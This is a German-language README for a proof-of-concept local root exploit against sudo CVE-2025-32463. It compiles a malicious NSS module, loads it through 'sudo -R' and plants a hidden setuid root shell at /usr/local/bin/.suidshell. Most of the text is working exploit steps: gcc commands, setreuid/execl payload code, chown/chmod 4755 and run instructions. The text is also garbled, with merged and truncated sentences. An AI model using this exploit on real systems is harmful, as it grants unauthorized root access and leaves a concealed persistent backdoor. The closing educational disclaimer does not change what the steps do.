
Sudo Lokale Rechteausweitung CVE-2025-32463 (Am besten für Fälle geeignet, in denen die Shell nicht stabil ist, um eine neue Root-Shell zu starten)
sudo -R NSS-InjectionDieses PoC demonstriert eine lokale Rechteausweitung auf Linux-Systemen durch Missbrauch der sudo -R-Option in Verbindung mit einem benutzerdefinierten NSS-Modul. Es zielt auf die Schwachstelle CVE-2025-32463 ab, die auf unsicherer Verarbeitung der nsswitch.conf- und NSS-Shared-Libraries in einer Chroot-Umgebung beruht.
Dieses PoC, sudo2root, passt die ursprüngliche Technik an, indem es ein benutzerdefiniertes NSS-Modul kompiliert, das das constructor-Attribut nutzt, um Privilegien zu erweitern und eine Setuid-Root-Shell in /usr/local/bin/.suidshell zu hinterlegen.
-R-Chroot-Schalters durch sudo.sudo-Zugriff kann beliebigen Code als root ausführen und durchbricht damit die Container- und Benutzerisolation.sudo -R ändert das Root-Verzeichnis, gibt jedoch keine Privilegien ab und bereinigt die Umgebung nicht.nsswitch.conf und einem benutzerdefinierten libnss_*-Shared Object.sudo dazu verleiten, die angreiferkontrollierte NSS-Bibliothek zu laden.__attribute__((constructor))), hinterlegt eine Setuid-Root-Shell und erweitert die Privilegien.sudo2root.c – Bösartiges NSS-Modul:
setreuid(0,0) und setregid(0,0) Root-Rechte erlangtgcc kompiliertBash-Exploit-Skript:
etc/nsswitch.conflibnss_/sudo2root1337.so.2-NSS-Modulsudo -R sudo2root sudo2root
Setuid-Shell:
/usr/local/bin/.suidshell/usr/local/bin/.suidshell id
chmod +x sudoinject.sh
./sudoinject.sh
Nach Abschluss des Exploits ausführen:
/usr/local/bin/.suidshell
whoami # => root
sudoinject.sh # Main exploit script
libnss_/sudo2root1337.so.2 # Malicious NSS module (compiled)
sudo2root/etc/nsswitch.conf # Custom nsswitch pointing to fake module
/usr/local/bin/.suidshell # Final setuid root shell
sudo -R:-R <dir>-Schalter von sudo ändert das Root-Verzeichnis, bevor ein Befehl ausgeführt wird.nsswitch.conf mit passwd: /libnss_<name>.so enthält, lädt sudo diese bevor Privilegien abgegeben werden.Das Shared Object wird kompiliert mit:
gcc -shared -fPIC -Wl,-init,exploit_constructor -o libnss_/sudo2root1337.so.2 sudo2root.c
Der Constructor wird vor jeglicher main()-Logik ausgeführt.
Erstellt und kompiliert eine Setuid-Shell mit:
setreuid(0,0); setregid(0,0); execl("/bin/bash", "bash", NULL);
Setzt Berechtigungen über:
chown 0:0 .suidshell && chmod 4755 .suidshell

MikiVirusDieser Code dient ausschließlich zu Bildungszwecken. Die unbefugte Verwendung dieses Codes auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal und unethisch. Holen Sie vor der Durchführung von Sicherheitstests stets eine ordnungsgemäße Genehmigung ein.